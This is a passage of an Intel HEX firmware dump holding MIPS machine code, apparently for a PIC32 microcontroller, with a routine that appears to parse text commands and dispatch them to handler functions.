d270800e00300000000e8ffbd2774\n:109240001400bfaf1000beaf21f0a003a110410f6a\n:109250000000000021e8c0031400bf8f1000be8f83\n:109260001800bd270800e00300000000e8ffbd274c\n:109270001400bfaf1000beaf21f0a0035411410f86\n:109280000000000021e8c0031400bf8f1000be8f53\n:109290001800bd270800e00300000000f8ffbd270c\n:1092a0000400beaf21f0a003fc81838f01000224e3\n:1092b0002b00621400000000d081838f0100022483\n:1092c000270062140000000088bf023c0002033c3b\n:1092d000741043ac88bf033c805062904408027c09\n:1092e000805062a0d08180af100e0224e08082a75f\n:1092f000e0808297ffff4224ffff4230e08082a798\n:10930000e0808297faff40140000000088bf033c11\n:1093100050526290010004248410827c505262a05a\n:1093200008070224e08082a7e0808297ffff4224a2\n:10933000ffff4230e08082a7e0808297faff40146e\n:109340000000000088bf033c505262908410027cf1\n:10935000505262a088bf023c0002033c781043ac2c\n:1093600021e8c0030400be8f0800bd270800e00309\n:1093700000000000e8ffbd271400bfaf1000beaf23\n:1093800021f0a0031800c4af1c00c5af2110c0001d\n:109390002000c2a71800c28f03000324110043104d\n:1093a00000000000720003240600431000000000cb\n:1093b000010003240700431000000000fc64400b80\n:1093c0000000000001000224d58082a3fc64400b51\n:1093d000000000009b64400f00000000fc64400b94\n:1093e000000000008f64400f00000000000000003b\n:1093f0000100022421e8c0031400bf8f1000be8fbb\n:109400001800bd270800e00300000000f0ffbd27a2\n:109410000c00beaf21f0a00388bf023c0200032471\n:10942000441043ac0000000088bf023c4010428c56\n:1094300002004230fcff40100000000081bf023cef\n:109440001090428cc001427cff004230010042304b\n:109450000400401400000000080002241a65400bbc\n:1094600000000000211000000000c2af0000c28f09\n:109470000019020081bf023c70904224211062005a\n:109480000000428c21e8c0030c00be8f1000bd27f5\n:109490000800e00300000000e0ffbd271c00bfaf94\n:1094a0001800beaf21f0a0032000c4af2400c5af58\n:1094b0002400c48f7b4b410f000000001000c2af9e\n:1094c0002000c48f7b4b410f000000001400c2af8e\n:1094d0001000c28f040040140000000001000224ac\n:1094e0004a65400b000000001400c38f1000c28fbb\n:1094f0002b1062000b004014000000002400c48ff9\n:109500002000c58f1000c68fae55410f000000002f\n:109510000400401400000000010002244a65400bd2\n:10952000000000002110000021e8c0031c00bf8fd4\n:109530001800be8f2000bd270800e00300000000d7\n:1095400078ffbd278400bfaf8000beaf21f0a0032d\n:109550008800c4af1c00c3276400022421206000df\n:1095600021280000213040007152410f000000000e\n:109570008800c48f7b4b410f000000006400422c28\n:1095800006004010000000008800c48f7b4b410f94\n:10959000000000006865400b000000006400022429\n:1095a0001400c2af1400c28f190040100000000068\n:1095b0008800c48f029d023c48ec45242665400f7c\n:1095c000000000000c004010000000008800c28f66\n:1095d000050043241400c28ffbff42241c00c42753\n:1095e00021286000213040005855410f0000000044\n:1095f0008465400b000000001c00c22721204000b1\n:109600008800c58f1400c68f5855410f0000000018\n:109610001000c0af1c00c22721204000029d023c68\n:1096200050ec4524544e410f000000000100422c34\n:10963000ff0042301800c2afae65400b00000000d2\n:109640001800c28f0e0040140000000000a0023c71\n:109650001000c38f801803005002422421106200c2\n:109660000000438c1c00c2272120600021284000fc\n:109670002665400f000000000c00401000000000b4\n:1096800000a0023c1000c38f801803005002422447\n:10969000211062000000428c029d033c58ec6424bf\n:1096a000212840000413410f000000001000c28f69\n:1096b000010042241000c2af00a0023c1000c38f82\n:1096c0008018030050024224211062000000428ce6\n:1096d000dbff401400000000029d023c3cec4424ef\n:1096e000029d023c60ec45240413410f0000000081\n:1096f00021e8c0038400bf8f8000be8f8800bd2793\n:109700000800e0030000000078ffbd278400bfaf21\n:109710008000beaf21f0a0038800c4af3000c0a31a\n:10972000029d023ca8ec42243c00c2af029d023cd8\n:10973000acec42244000c2af8800c48f48bc400f4c\n:10974000000000008800c28f000042800300401427\n:109750000000000001000224d48082a38800c48f8e\n:10976000029d023cb0ec452409000624ae55410f91\n:109770000000000030004014000000008800c28f8c\n:10978000090043246000c22721206000029d033ca1\n:10979000bcec6524213040000357410f000000005d\n:1097a00021184000010002241e0062140000000085\n:1097b00000a0023cdc56422487004290080040147e\n:1097c00000000000029d023cc0ec442419bc400f84\n:1097d000000000003000c2a30e66400b0000000035\n:1097e00001000424e6bb400f000000003000c2a3cb\n:1097f0006000c28f21204000010005247109410f43\n:10980000000000006000c28f21204000be09410f0f\n:10981000000000004015410f000000000e66400be4\n:1098200000000000029d023cd4ec442419bc400f0f\n:10983000000000003000c2a38800c48f029d023cdb\n:10984000f0ec45240a000624ae55410f000000004c\n:1098500030004014000000008800c28f0a0043243a\n:109860006000c22721206000029d033cbcec6524ff\n:10987000213040000357410f000000002118400034\n:10988000010002241e0062140000000000a0023c3f\n:10989000dc5642248700429008004014000000007b\n:1098a000029d023cc0ec442419bc400f00000000a3\n:1098b0003000c2a34566400b0000000001000424f4\n:1098c000e6bb400f000000003000c2a36000c28f62\n:1098d00021204000212800007109410f00000000f4\n:1098e0006000c28f21204000be09410f000000002f\n:1098f0004015410f000000004566400b00000000cd\n:10990000029d023cd4ec442419bc400f000000002e\n:109910003000c2a38800c48f029d023cfcec4524a9\n:1099200005000624ae55410f000000000e00401453\n:109930000000000001000424e6bb400f000000000e\n:109940003000c2a38800c28f0500422421204000bd\n:10995000842e410f000000000f2f410f0000000077\n:109960004015410f000000008800c48f029d023c9a\n:1099700004ed4524544e410f000000000600401441\n:109980000000000021200000e6bb400f00000000a6\n:109990003000c2a3d48080a38800c48f029d023c03\n:1099a00008ed452404000624ae55410f00000000d8\n:1099b00030004014000000008800c28f04004224e0\n:1099c0006000c3271000a3af6400c3271400a3af37\n:1099d00021204000029d023c10ed452400a0023ce5\n:1099e0007c6c4624e48087270357410f0000000069\n:1099f0002118400004000224190062140000000035\n:109a0000e480858f6000c38f6400c28f00a0043c97\n:109a10007c6c84242130600021384000dafe400f45\n:109a2000000000000800401400000000029d023cfd\n:109a300020ed442419bc400f000000003000c2a3f8\n:109a40009d66400b0000000021200000e6bb400f97\n:109a5000000000003000c2a39d66400b0000000023\n:109a6000029d023c30ed442419bc400f0000000070\n:109a70003000c2a38800c48f029d023c44ed4524ff\n:109a8000544e410f000000001e0040140000000072\n:109a9000fdeb400f0000000015004010000000002a\n:109aa00001000424e6bb400f000000003000c2a308\n:109ab0006880829300a0033cf417642421284000ae\n:109ac00091b9400f00000000029d023c3cec442490\n:109ad000029d023c48ed45240413410f00000000a4\n:109ae0004015410f00000000c166400b000000005f\n:109af000029d023c4ced442419bc400f00000000c4\n:109b00003000c2a38800c48f029d023c54ed45245e\n:109b100004000624ae55410f00000000360040143a\n:109b20000000000000a0023c7c6c40a06000c0afc0\n:109b30008800c28f040043246000c22721206000f7\n:109b4000029d033c5ced652400a0033c7c6c662414\n:109b5000213840000357410f000000000300422855\n:109b60000800401400000000029d023c30ed442437\n:109b700019bc400f000000003000c2a3fe66400b7d\n:109b8000000000006000c28f2120400000a0023cc5\n:109b9000dc24452400a0023c7c6c46249255410ff5\n:109ba000000000000f00401000000000010004242d\n:109bb000e6bb400f000000003000c2a3029d023c43\n:109bc00064ed442400a0023cdc2445240413410f2e\n:109bd000000000004015410f00000000fe66400b31\n:109be00000000000029d023c6ced442419bc400fb3\n:109bf000000000003000c2a38800c48f029d023c18\n:109c00007ced4524544e410f000000000900401433\n:109c10000000000001000424e6bb400f000000002b\n:109c20003000c2a3f539410f000000004015410f7c\n:109c3000000000008800c48f029d023c84ed452492\n:109c4000544e410f000000001900401400000000b5\n:109c500001000424e6bb400f000000003000c2a356\n:109c6000029d023c3cec4424029d023c90ed4524c4\n:109c70000413410f00000000533a410f00000000a0\n:109c80006000c2af6000c28f0700401000000000fb\n:109c90006000c28f029d033cc4ed64242128400073\n:109ca0006913410f000000004015410f0000000043\n:109cb0008800c48f029d023cdced4524544e410fc8\n:109cc000000000000d00401400000000010004240a\n:109cd000e6bb400f000000003000c2a3029d023c22\n:109ce00064ed442400a0023ce35645240413410fd4\n:109cf000000000004015410f000000008800c48fe4\n:109d0000029d023ce4ed4524544e410f000000004a\n:109d10000d0040140000000000a0023ce356442463\n:109d200021280000800006247152410f000000002d\n:109d300021200000e6bb400f000000003000c2a35d\n:109d40006d67400b000000008800c48f029d023c3c\n:109d5000f0ed452408000624ae55410f0000000038\n:109d600014004014000000008800c28f0800422444\n:109d7000212040007b4b410f000000007f00422c5f\n:109d80000c004010000000008800c28f0800422430\n:109d900000a0033ce356642421284000574a410fa9\n:109da0000000000021200000e6bb400f0000000082\n:109db0003000c2a38800c48f029d023cfced452404\n:109dc000544e410f00000000090040140000000044\n:109dd00001000424e6bb400f000000003000c2a3d5\n:109de00043c0400f000000004015410f000000007c\n:109df0008800c48f029d023c04ee4524090006241d\n:109e0000ae55410f000000000c004014000000009f\n:109e100001000424e6bb400f000000003000c2a394\n:109e20008800c28f090042242120400008bb400f57\n:109e3000000000004015410f000000008800c48fa2\n:109e4000029d023c10ee4524544e410f00000000dc\n:109e5000130040140000000001000424e6bb400f82\n:109e6000000000003000c2a3029d023c3cec4424f0\n:109e7000029d023c14ee45240413410f0000000033\n:109e80004015410f000000000100023ca086443450\n:109e9000240e410f00000000cb7a400f00000000ac\n:109ea0008800c48f029d023c38ee4524544e410f79\n:109eb0000000000007004014000000000100022420\n:109ec000d48082a321200000e6bb400f00000000e8\n:109ed0003000c2a38800c48f029d023c3cee4524a2\n:109ee00007000624ae55410f000000003900401461\n:109ef000000000008800c28f070043245c00c227d6\n:109f000021206000029d033c44ee65242130400086\n:109f10000357410f000000002118400001000224f7\n:109f200027006214000000005c00c28f21200000a6\n:109f300021284000bb53410f0000000020004104d5\n:109f4000000000005c00c28f029d033c6036648c00\n:109f5000212840008746410f0000000021184000e2\n:109f6000029d023c212060006436458ca948410fc7\n:109f700000000000212040001b55410f00000000a0\n:109f8000e48082afe480828f42180200e480828ff6\n:109f90000300042421286000213040000800072429\n:109fa000b20b410f0000000021200000e6bb400f73\n:109fb000000000003000c2a3f567400b0000000065\n:109fc000029d023c4ced442419bc400f00000000ef\n:109fd0003000c2a38800c48f029d023c48ee452495\n:109fe00007000624ae55410f000000002c0040146d\n:109ff000000000008800c28f070044246000c327cf\n:10a000006400c227029d053c50eea524213060006b\n:10a01000213840000357410f000000002118400084\n:10a020000200022419006214000000006000c28fc8\n:10a0300016004010000000006400c38f6000c28f53\n:10a040002b10430011004010000000006000c28f80\n:10a05000401802006400c28f401002000600042471\n:10a06000212860002130400008000724b20b410f76\n:10a070000000000021200000e6bb400f00000000af\n:10a080003000c2a32868400b00000000029d023c83\n:10a090004ced442419bc400f000000003000c2a366\n:10a0a0008800c48f029d023c58ee45240700062418\n:10a0b000ae55410f000000002400401400000000d5\n:10a0c0008800c28f0700422421204000029d023cec\n:10a0d00060ee4524e48086270357410f000000000e\n:10a0e0002118400001000224130062140000000047\n:10a0f000e480828f1000401000000000e480828f16\n:10a1000042180200e480828f0300042421286000aa\n:10a110002130400008000724b20b410f000000006e\n:10a1200021200000e6bb400f000000003000c2a369\n:10a130005368400b00000000029d023c4ced44249b\n:10a1400019bc400f000000003000c2a38800c48f7b\n:10a15000029d023c64ee452405000624ae55410fe5\n:10a1600000000000270040140000000000a0023c96\n:10a170007c6c40a08800c28f050042242120400052\n:10a18000029d023c3cec452400a0023c7c6c462431\n:10a190000357410f00000000020042281400401045\n:10a1a0000000000000a0023c7c6c4424e5e9400f64\n:10a1b000000000000800401400000000029d023c66\n:10a1c0004ced442419bc400f000000003000c2a335\n:10a1d0008168400b0000000021200000e6bb400f1a\n:10a1e000000000003000c2a38168400b00000000a6\n:10a1f000029d023c30ed442419bc400f00000000d9\n:10a200003000c2a38800c48f029d023c6cee45243e\n:10a21000544e410f000000000a00401400000000ee\n:10a2200021200000e6bb400f000000003000c2a368\n:10a2300088bf033ca061629401000424444a827cec\n:10a24000a06162a48800c48f029d023c78ee452480\n:10a25000544e410f000000000900401400000000af\n:10a2600021200000e6bb400f000000003000c2a328\n:10a2700088bf033ca0616294444a027ca06162a44e\n:10a280008800c48f029d023c84ee4524544e410f49\n:10a290000000000009004014000000000100042438\n:10a2a000e6bb400f000000003000c2a31124410fa4\n:10a2b000000000004015410f000000008800c48f1e\n:10a2c000029d023c8cee452408000624ae55410f49\n:10a2d000000000002a0040140000000000a0023c22\n:10a2e000d857429021004010000000008800c28f23\n:10a2f0000700422421204000029d023c3cec452402\n:10a3000000a0023c7c6c46240357410f0000000073\n:10a31000211840000100022419006214000000000e\n:10a3200000a0023c7c6c4424b1e9400f0000000016\n:10a33000070040100000000021200000e6bb400f95\n:10a34000000000003000c2a3e068400b00000000e5\n:10a35000029d023c4ced442419bc400f000000005b\n:10a360003000c2a3e068400b00000000029d023ce8\n:10a3700098ee442419bc400f000000003000c2a336\n:10a380008800c48f029d023cacee452404000624e4\n:10a39000ae55410f000000002e00401400000000e8\n:10a3a00000a0023c7c6c40a000a0023c7c6d40a060\n:10a3b0006000c0af8800c28f04004224212040000a\n:10a3c000029d023cb4ee452400a0023c7c6c462475\n:10a3d00000a0023c7c6d47240357410f00000000a1\n:10a3e00003004228160040100000000000a0023cbc\n:10a3f0007c6c442400a0023c7c6d4524d9e8400fcd\n:10a4000000000000070040100000000021200000b4\n:10a41000e6bb400f000000003000c2a31569400bee\n:10a4200000000000029d023c4ced442419bc400f8a\n:10a43000000000003000c2a31569400b00000000be\n:10a44000029d023c30ed442419bc400f0000000086\n:10a450003000c2a38800c48f029d023cbcee45249c\n:10a46000544e410f0000000009004014000000009d\n:10a4700001000424e6bb400f000000003000c2a32e\n:10a48000d035410f000000004015410f00000000d2\n:10a490008800c48f029d023cc4ee452406000624b9\n:10a4a000ae55410f000000002700401400000000de\n:10a4b0008800c28f060043246000c227212060006c\n:10a4c000029d033cccee6524213040000357410f30\n:10a4d0000000000021184000010002241500621451\n:10a4e000000000006000c28fff00423021204000c9\n:10a4f0009535410f000000000700401000000000eb\n:10a5000021200000e6bb400f000000003000c2a385\n:10a510005269400b00000000029d023cd0ee442432\n:10a5200019bc400f000000003000c2a35269400b6c\n:10a5300000000000029d023c30ed442419bc400f95\n:10a54000000000003000c2a38800c48f029d023cbe\n:10a55000e4ee452408000624ae55410f000000003b\n:10a5600027004014000000008800c28f0800432428\n:10a570006000c22721206000029d033cccee6524d0\n:10a58000213040000357410f000000002118400017\n:10a590000100022415006214000000006000c28f58\n:10a5a000ff00423021204000ae35410f0000000086\n:10a5b000070040100000000021200000e6bb400f13\n:10a5c000000000003000c2a38069400b00000000c2\n:10a5d000029d023cd0ee442419bc400f0000000054\n:10a5e0003000c2a38069400b00000000029d023cc5\n:10a5f00030ed442419bc400f000000003000c2a31d\n:10a600008800c48f029d023cf0ee45240900062418\n:10a61000ae55410f0000000027004014000000006c\n:10a620008800c28f090043246000c22721206000f7\n:10a63000029d033cccee6524213040000357410fbe\n:10a6400000000000211840000100022415006214df\n:10a65000000000006000c28fff0042302120400057\n:10a66000bf35410f0000000007004010000000004f\n:10a6700021200000e6bb400f000000003000c2a314\n:10a68000ae69400b00000000029d023cfcee442439\n:10a6900019bc400f000000003000c2a3ae69400b9f\n:10a6a00000000000029d023c30ed442419bc400f24\n:10a6b000000000003000c2a38800c48f029d023c4d\n:10a6c00008ef4524544e410f0000000011004014d3\n:10a6d0000000000001000424e6bb400f0000000061\n:10a6e0003000c2a3029d023c3cec4424029d023c8b\n:10a6f00010ef45240413410f00000000212000004a\n:10a70000212800002540410f000000004015410fa6\n:10a71000000000008800c48f029d023c48ef4524e1\n:10a72000544e410f000000000900401400000000da\n:10a7300021200000e6bb400f000000003000c2a353\n:10a7400088bf033c206062948473027c206062a412\n:10a750008800c48f029d023c54ef4524544e410fa3\n:10a76000000000000a00401400000000212000004a\n:10a77000e6bb400f000000003000c2a388bf033cce\n:10a7800020606294010004248473827c206062a4af\n:10a790008800c48f029d023c60ef4524050006241a\n:10a7a000ae55410f000000008b0040140000000077\n:10a7b0008800c28f050044246000c3276400c227bc\n:10a7c000029d053c50eea524213060002138400058\n:10a7d0000357410f000000006800c2af6800c28f3d\n:10a7e00005004010000000006800c38f0100022433\n:10a7f00005006210000000006800c38f0200022400\n:10a8000070006214000000006800c38f0100022481\n:10a8100003006214000000006000c28f6400c2af39\n:10a8200000a0023cdc564224b400428cffff4324cb\n:10a830006000c28f2b10620009004014000000006d\n:10a8400000a0023cdc564224b400428cffff4324ab\n:10a850006400c28f2b10620008004010000000004e\n:10a86000029d023c68ef442419bc400f0000000028\n:10a870003000c2a36f6a400b000000006000c38f6d\n:10a880006400c28f00a0043cdc24842421286000e2\n:10a8900021304000a444410f000000000800401493\n:10a8a00000000000029d023c84ef442419bc400fcc\n:10a8b000000000003000c2a36f6a400b00000000df\n:10a8c00001000424e6bb400f000000003000c2a3da\n:10a8d00000a0023cdc564224b800428c82180200e0\n:10a8e00000a0023c7c6c422421106200000040a0c9\n:10a8f0006000c28f3400c2af3800c0af666a400b40\n:10a9000000000000029d023c94ef44243400c58ff7\n:10a910006913410f0000000000a0023cdc564224f5\n:10a92000b800428c821802003800c28f1800620002\n:10a9300000a0023cdc2442241220000021188200e6\n:10a9400000a0023cdc564224b800428c8210020077\n:10a9500000a0043c7c6c842421286000213040004d\n:10a96000214b410f00000000029d023c64ed442495\n:10a9700000a0023c7c6c45240413410f0000000041\n:10a980003400c28f010042243400c2af3800c28fad\n:10a99000010042243800c2af6400c28f3400c38f6c\n:10a9a0002b104300d7ff4010000000004015410f5e\n:10a9b00000000000766a400b00000000766a400b41\n:10a9c00000000000029d023c9cef442419bc400f93\n:10a9d000000000003000c2a38800c48f029d023c2a\n:10a9e000b8ef452404000624ae55410f00000000d6\n:10a9f0001f0040140000000000a0023cdc5642246e\n:10aa00008700429015004010000000008800c28faf\n:10aa100004004224212040000837410f00000000bc\n:10aa2000070040100000000021200000e6bb400f9e\n:10aa3000000000003000c2a39c6a400b0000000030\n:10aa4000029d023c4ced442419bc400f0000000064\n:10aa50003000c2a39c6a400b00000000029d023c33\n:10aa6000c0ef442419bc400f000000003000c2a316\n:10aa70008800c48f029d023cd4ef4524544e410f00\n:10aa80000000000008004010000000008800c48f93\n:10aa9000029d023ce0ef4524544e410f00000000af\n:10aaa000650040140000000000a0023cd85742900e\n:10aab0000800401400000000029d023cecef44241a\n:10aac00019bc400f000000003000c2a30e6b400b09\n:10aad0000000000000a0023cdc56422487004290a7\n:10aae0005800c2a300a0023cd85742240100429063\n:10aaf000090040100000000000a0023cd85742248a\n:10ab000001004290212040008fc0400f0000000053\n:10ab1000cb6a400b0000000000a0023cd8574290d6\n:10ab2000212040008fc0400f0000000000a0023c28\n:10ab3000dc5642248700429000a0033cdc246424bd\n:10ab400000a0033cda576524213040004c2d410f12\n:10ab5000000000000800401400000000029d023cbc\n:10ab600008f0442419bc400f000000003000c2a3cc\n:10ab70000e6b400b0000000021200000e6bb400fe0\n:10ab8000000000003000c2a38800c48f029d023c78\n:10ab9000e0ef4524544e410f00000000090040142e\n:10aba00000000000010002248c8082af00a0023c63\n:10abb000dc2444240837410f000000000e6b400bda\n:10abc00000000000006b400b000000000300023c8e\n:10abd00090d04434240e410f0000000088bf023c96\n:10abe0002061428c040042300100422cff004430be\n:10abf00088bf033c206162948410827c206162a43f\n:10ac00002b15410f00000000070040140000000059\n:10ac100000a0023cdc2444240837410f000000005f\n:10ac2000eaff4014000000005800c29321204000b9\n:10ac30008fc0400f000000008800c48f029d023cbe\n:10ac400018f0452407000624ae55410f000000000f\n:10ac5000610040140000000000a0023cdc564224c9\n:10ac600087004290570040100000000000a0023c06\n:10ac70007c6c40a000a0023c7c6d40a08800c28f8c\n:10ac80000700422421204000029d023cb4ee4524ee\n:10ac900000a0023c7c6c462400a0023c7c6d472452\n:10aca0000357410f00000000030042284a004010f3\n:10acb0000000000000a0023c7c6c422400004280a6\n:10acc000450040100000000000a0023c7c6d4224c2\n:10acd00000004280220040140000000000a0023c5e\n:10ace000dc5642248700429000a0033c5c4564246b\n:10acf00000a0033c7c6c6524213040004dc5400f12\n:10ad0000000000000f0040100000000001000424bb\n:10ad1000e6bb400f000000003000c2a3029d023cd1\n:10ad200064ed442400a0023c5c4545240413410f1b\n:10ad3000000000004015410f00000000766b400b42\n:10ad400000000000029d023c20f0442419bc400f8a\n:10ad5000000000003000c2a3766b400b0000000032\n:10ad600000a0023cdc5642248700429000a0033c35\n:10ad70007c6d64242128400000a0023c7c6c4624a9\n:10ad800042e8400f000000000700401000000000f3\n:10ad900021200000e6bb400f000000003000c2a3ed\n:10ada000766b400b00000000029d023c30f0442412\n:10adb00019bc400f000000003000c2a3766b400bae\n:10adc00000000000029d023cc0ef442419bc400f6b\n:10add000000000003000c2a38800c48f029d023c26\n:10ade00044f04524544e410f00000000af004014d1\n:10adf0000000000001000424e6bb400f000000003a\n:10ae00003000c2a3029d023c3cec4424029d023c63\n:10ae100050f045240413410f00000000029d023c45\n:10ae20003cec4424029d023c6cf045240413410f89\n:10ae300000000000029d023c3cec4424029d023cc8\n:10ae40008cf045240413410f00000000029d023cd9\n:10ae50003cec4424029d023ca0f045240413410f25\n:10ae600000000000029d023c3cec4424029d023c98\n:10ae7000c8f045240413410f00000000029d023c6d\n:10ae80003cec4424029d023c8cf045240413410f09\n:10ae900000000000029d023c3cec4424029d023c68\n:10aea000e8f045240413410f00000000029d023c1d\n:10aeb0003cec4424029d023c10f145240413410f54\n:10aec00000000000029d023c3cec4424029d023c38\n:10aed0003cf145240413410f00000000029d023c98\n:10aee0003cec4424029d023c50f145240413410fe4\n:10aef00000000000029d023c3cec4424029d023c08\n:10af000084f145240413410f00000000029d023c1f\n:10af10003cec4424029d023c3cf145240413410fc7\n:10af200000000000029d023c3cec4424029d023cd7\n:10af3000a0f145240413410f00000000029d023cd3\n:10af40003cec4424029d023cf0f145240413410fe3\n:10af500000000000029d023c3cec4424029d023ca7\n:10af600010f245240413410f00000000029d023c32\n:10af70003cec4424029d023c30f245240413410f72\n:10af800000000000029d023c3cec4424029d023c77\n:10af900048f245240413410f00000000029d023cca\n:10afa0003cec4424029d023c60f245240413410f12\n:10afb00000000000029d023c3cec4424029d023c47\n:10afc00080f245240413410f00000000029d023c62\n:10afd0003cec4424029d023c98f245240413410faa\n:10afe00000000000029d023c3cec4424029d023c17\n:10aff000b0f245240413410f00000000029d023c02\n:10b000003cec4424029d023cdcf245240413410f35\n:10b0100000000000029d023c3cec4424029d023ce6\n:10b02000f0f245240413410f00000000029d023c91\n:10b030003cec4424029d023c04f345240413410fdc\n:10b0400000000000029d023c3cec4424029d023cb6\n:10b0500020f345240413410f00000000029d023c30\n:10b060003cec4424029d023c38f345240413410f78\n:10b0700000000000029d023c3cec4424029d023c86\n:10b0800054f345240413410f00000000029d023ccc\n:10b090003cec4424029d023c74f345240413410f0c\n:10b0a000000000004015410f000000008800c48f20\n:10b0b000029d023c84f3452404000624ae55410f52\n:10b0c000000000003e004014000000008800c28f15\n:10b0d000040042246000c3271000a3af6400c3270c\n:10b0e0001400a3af6800c3271800a3af6c00c327e8\n:10b0f0001c00a3af21204000029d023c8cf345249c\n:10b1000000a0023c7c6c4624e48087270357410f53\n:10b1100000000000211840000600022423006214f1\n:10b1200000000000029d023ca0f3442400a0023c69\n:10b130007c6c45240413410f00000000e480858fdf\n:10b140006000c38f6400c28f6800c68f6c00c48f1c\n:10b150001000a6af1400a4af00a0043c7c6c8424b3\n:10b160002130600021384000b2f8400f000000009c\n:10b17000070040100000000021200000e6bb400f47\n:10b18000000000003000c2a3706c400b0000000003\n:10b19000029d023c20ed442419bc400f0000000039\n:10b1a0003000c2a3706c400b00000000029d023c06\n:10b1b00030ed442419bc400f000000003000c2a351\n:10b1c0008800c48f029d023cacf34524544e410fcd\n:10b1d000000000000e0040140000000001000424e4\n:10b1e000e6bb400f000000003000c2a3380b410f47\n:10b1f00000000000029d033cb8f3642421284000b5\n:10b200006913410f000000004015410f00000000cd\n:10b210008800c48f029d023cc0f345240900062427\n:10b22000ae55410f000000000c004014000000006b\n:10b2300001000424e6bb400f000000003000c2a360\n:10b240008800c28f0900422421204000f2ba400f3a\n:10b25000000000004015410f000000008800c48f6e\n:10b26000029d023cccf345240d000624ae55410f4f\n:10b27000000000002a0040140000000000a0023c72\n:10b28000dc56422487004390080002240800621024\n:10b2900000000000029d023cdcf3442419bc400f76\n:10b2a000000000003000c2a3c86c400b000000008a\n:10b2b0008800c28f0d00422400a0033cdc246424db\n:10b2c000212840009b8d400f000000000f0040101f\n:10b2d0000000000001000424e6bb400f0000000055\n:10b2e0003000c2a3029d023c64ed442400a0023c55\n:10b2f000dc2445240413410f000000004015410fd9\n:10b3000000000000c86c400b00000000029d023ce1\n:10b31000f8f3442419bc400f000000003000c2a321\n:10b320008800c48f029d023c04f4452411000624c9\n:10b33000ae55410f000000002a004014000000003c\n:10b3400000a0023cdc5642248700439008000224ff\n:10b350000800621000000000029d023cdcf344245f\n:10b3600019bc400f000000003000c2a3f96c400b74\n:10b37000000000008800c28f1100422400a0033c9e\n:10b38000dc24642421284000279b400f000000009b\n:10b390000f0040100000000001000424e6bb400f35\n:10b3a000000000003000c2a3029d023c64ed442472\n:10b3b00000a0023cdc2445240413410f00000000df\n:10b3c0004015410f00000000f96c400b0000000028\n:10b3d000029d023cf8f3442419bc400f0000000019\n:10b3e0003000c2a38800c48f029d023c18f445249b\n:10b3f0000d000624ae55410f00000000630040140c\n:10b400000000000000a0023cdc564224870043906c\n:10b41000080002240800621000000000029d023ca7\n:10b42000dcf3442419bc400f000000003000c2a32c\n:10b43000636d400b0000000000a0023c7c6c40a04b\n:10b4400000a0023c7c6d40a0010002246000c2af5d\n:10b450008800c28f0e00422421204000029d023c41\n:10b46000b4ee452400a0023c7c6c462400a0023cc3\n:10b470007c6d47240357410f000000000200422862\n:10b480001a00401000000000029d023c28f44424f1\n:10b4900000a0023c7c6c4524544e410f000000008b\n:10b4a000120040140000000000a0023c029d033c7a\n:10b4b0002cf4648c2cf465240400a68c2cf46524f4\n:10b4c0000800a58c7c6c44ac7c6c4424040086ace5\n:10b4d0007c6c4424080085ac2cf463247c6c4224ee\n:10b4e0000c0063900c0043a06000c0af029d023cc2\n:10b4f00028f4442400a0023c7c6d4524544e410fa6\n:10b500000000000002004014000000006000c0af16\n:10b5100001000424e6bb400f000000003000c2a37d\n:10b520005b6d400b000000006000c28f00a0033c78\n:10b53000dc24642400a0033c7c6c652421304000a2\n:10b540004c9d400f0000000088bf023c2061428cef\n:10b55000040042300100422cff00443088bf033c0d\n:10b56000206162948410827c206162a42b15410fbb\n:10b5700000000000ecff4010000000004015410feb\n:10b5800000000000c40c410f000000008800c48fc0\n:10b59000029d023c3cf4452416000624ae55410fa2\n:10b5a00000000000070040140000000021200000ff\n:10b5b000e6bb400f000000003000c2a3be9d400f5c\n:10b5c000000000008800c48f029d023c54f4452412\n:10b5d00016000624ae55410f00000000090040147b\n:10b5e0000000000001000424e6bb400f0000000042\n:10b5f0003000c2a34a9e400f000000004015410fda\n:10b60000000000008800c48f029d023c6cf44524b9\n:10b6100015000624ae55410f000000002f00401415\n:10b620000000000001000424e6bb400f0000000001\n:10b630003000c2a38800c48f7b4b410f0000000084\n:10b640001600422c1b004014000000008800c28f2e\n:10b65000150044246000c3276400c227029d053cf6\n:10b6600050eea52421306000213840000357410fdf\n:10b67000000000006800c2af6800c28f05004014df\n:10b68000000000006000c0af6400c0afaf6d400bb1\n:10b69000000000006800c38f01000224070062144c\n:10b6a000000000006000c28f6400c2afaf6d400bad\n:10b6b000000000006000c0af6400c0af6000c38f36\n:10b6c0006400c28f2120600021284000719e400f3d\n:10b6d000000000004015410f000000008800c48fea\n:10b6e000029d023c84f445240f000624ae55410f10\n:10b6f000000000001d004014000000008800c28f00\n:10b700000f00422400a0033cdc24642421284000d4\n:10b710003991400f000000000f00401000000000b1\n:10b7200001000424e6bb400f000000003000c2a36b\n:10b73000029d023c64ed442400a0023cdc2445242c\n:10b740000413410f000000004015410f00000000ed\n:10b75000db6d400b00000000029d023cf8f3442426\n:10b7600019bc400f000000003000c2a38800c48f45\n:10b77000029d023c94f4452412000624ae55410f6c\n:10b78000000000001d004014000000008800c28f6f\n:10b790001200422400a0033cdc2464242128400041\n:10b7a000899a400f000000000f00401000000000c8\n:10b7b00001000424e6bb400f000000003000c2a3db\n:10b7c000029d023c64ed442400a0023cdc2445249c\n:10b7d0000413410f000000004015410f000000005d\n:10b7e000ff6d400b00000000029d023cf8f3442472\n:10b7f00019bc400f000000003000c2a38800c48fb5\n:10b80000029d023ca8f4452412000624ae55410fc7\n:10b81000000000001d004014000000008800c28fde\n:10b820001200422400a0033cdc24642421284000b0\n:10b83000c59a400f000000000f00401000000000fb\n:10b8400001000424e6bb400f000000003000c2a34a\n:10b85000029d023c64ed442400a0023cdc2445240b\n:10b860000413410f000000004015410f00000000cc\n:10b87000236e400b00000000029d023cf8f34424bc\n:10b8800019bc400f000000003000c2a38800c48f24\n:10b89000029d023cbcf4452404000624ae55410f31\n:10b8a0000000000027004014000000008800c28f44\n:10b8b000040043246000c22721206000029d033c55\n:10b8c000ccee6524213040000357410f00000000fa\n:10b8d000211840000100022415006214000000003d\n:10b8e0006000c28fff004230212040003430410f01\n:10b8f00000000000070040100000000021200000b0\n:10b90000e6bb400f000000003000c2a3516e400ba8\n:10b9100000000000029d023cc4f4442419bc400f06\n:10b92000000000003000c2a3516e400b0000000078\n:10b93000029d023c30ed442419bc400f0000000081\n:10b940003000c2a38800c48f029d023cd4f4452479\n:10b9500006000624ae55410f0000000027004014e9\n:10b96000000000008800c28f060043246000c22748\n:10b9700021206000029d033cccee65242130400074\n:10b980000357410f0000000021184000010002246d\n:10b9900015006214000000006000c28fff004230fa\n:10b9a000212040004d30410f0000000007004010f2\n:10b9b00000000